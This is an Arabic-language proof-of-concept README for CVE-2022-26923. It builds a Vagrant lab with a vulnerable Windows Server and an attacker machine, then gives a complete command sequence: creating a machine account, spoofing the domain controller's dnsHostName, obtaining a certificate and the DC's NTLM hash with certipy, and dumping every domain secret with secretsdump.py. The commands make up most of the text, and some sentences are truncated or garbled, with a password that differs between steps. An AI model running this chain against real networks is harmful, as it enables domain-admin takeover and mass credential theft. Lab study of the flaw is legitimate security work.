
إثبات مفهوم لاستغلال CVE-2022-26923.
هذه الثغرة سمحت لمستخدم بصلاحيات منخفضة بتصعيد صلاحياته إلى مسؤول المجال في بيئة Active Directory الافتراضية مع تثبيت دور خادم خدمات الشهادات في Active Directory (AD CS).
ترتبط بشكل أساسي بدور خدمات الشهادات في Active Directory (AD CS). دور AD CS هو دور خادم Windows يسمح لك ببناء بنية أساسية للمفاتيح العامة (PKI) وتوفير تشفير بالمفاتيح العامة وشهادات رقمية وتوقيعات رقمية لمؤسستك. يُستخدم دور AD CS لإصدار الشهادات للمستخدمين وأجهزة الكمبيوتر والخدمات.
إصدار Windows Server المستخدم هو Windows Server 2019 Standard Evaluation وهو الإصدار القابل للاستغلال. ملف Vagrantfile المرفق (في مجلد Vulnerable Machine) سيقوم بإنشاء جهاز افتراضي يعمل بنظام Windows Server 2019 مع تثبيت وتهيئة دور AD CS، بالإضافة إلى مستخدم بصلاحيات منخفضة بالبيانات التالية:
userV@grant1لإنشاء البيئة، اتبع الخطوات التالية:
CVE-2022-26923:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile عن طريق استبدال عنوان IP في السطر التالي:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy، يمكنك استخدام الجهاز الافتراضي المرفق في مجلد Attacker Machine عن طريق تشغيل الأمر التالي:
cd 'Attacker Machine'
vagrant up
المجلد Attacker Machine يحتوي على جهاز افتراضي مع سكربت شل سيؤدي إلى تثبيت أحدث إصدار من certipy. يمكنك أيضًا استخدام السكربت لتثبيت certipy على جهاز Linux الخاص بك.
من أجل الاتصال بالجهاز المهاجم، قم بتشغيل الأمر التالي من مجلد Attacker Machine:
vagrant ssh
الآن بعد أن أصبحت في الجهاز المهاجم، تحتاج إلى إضافة عنوان IP الخاص بخادم Windows إلى ملف hosts:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
ملاحظة: إذا قمت بتغيير عنوان IP في ملف Vagrantfile الخاص بالجهاز القابل للاستغلال، يجب عليك تغييره هنا أيضًا.
ثم، لنقم بإنشاء حساب كمبيوتر جديد في المجال:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
للتحقق من إنشاء حساب الكمبيوتر، اتصل بالجهاز القابل للاستغلال باستخدام user وكلمة المرور V@grant1 عن طريق تشغيل الأمر التالي من مجلد Vulnerable Machine:
vagrant ssh
ثم قم بتشغيل الأمر التالي للتحقق من إنشاء حساب الكمبيوتر:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
حساب الجهاز هذا يحتوي على dnsHostName يساوي CVEPC.vagrant.local. ما نريده هو تغيير dnsHostName إلى VAGRANT-K51B6U3.vagrant.local وهو عنوان وحدة التحكم بالمجال.
للقيام بذلك، نحتاج أولاً إلى حذف اسم الخدمة الرئيسي (SPN) من حساب الكمبيوتر CVEPC عن طريق تشغيل الأمر التالي:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
ثم يمكننا تغيير dnsHostName إلى VAGRANT-K51B6U3.vagrant.local عن طريق تشغيل الأمر التالي:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
الآن بعد أن أصبح لدينا حساب كمبيوتر مع dnsHostName VAGRANT-K51B6U3.vagrant.local، يمكننا طلب شهادة خبيثة من الجهاز القابل للاستغلال عن طريق تشغيل الأمر التالي على الجهاز المهاجم:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
يجب أن تحصل على شهادة باسم vagrant-k51b6u3.pfx في الدليل الحالي.
للتحقق من أن الشهادة صالحة، استخدم أداة auth من certipy بتشغيل الأمر التالي:
certipy auth -pfx vagrant-k51b6u3.pfx
إذا كانت الشهادة صالحة، يجب أن تحصل على تجزئة NTLM لوحدة التحكم بالمجال. والتي يمكن استخدامها بطرق خبيثة عديدة.
كدليل على المفهوم، يمكننا استخدام تجزئة NTLM لاسترجاع جميع الأسرار المخزنة في المجال (كما هو موضح في مقال مؤلف الثغرة). للقيام بذلك، يمكننا استخدام أداة secretsdump.py من حزمة impacket (المثبتة مع أحدث إصدار من certipy).
لاستخدام الأداة، قم بتشغيل الأمر التالي:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
استبدل <NTLM hash> بتجزئة NTLM التي حصلت عليها من الخطوة السابقة.
ونتيجة لذلك، يجب أن تحصل على جميع الأسرار المخزنة في المجال.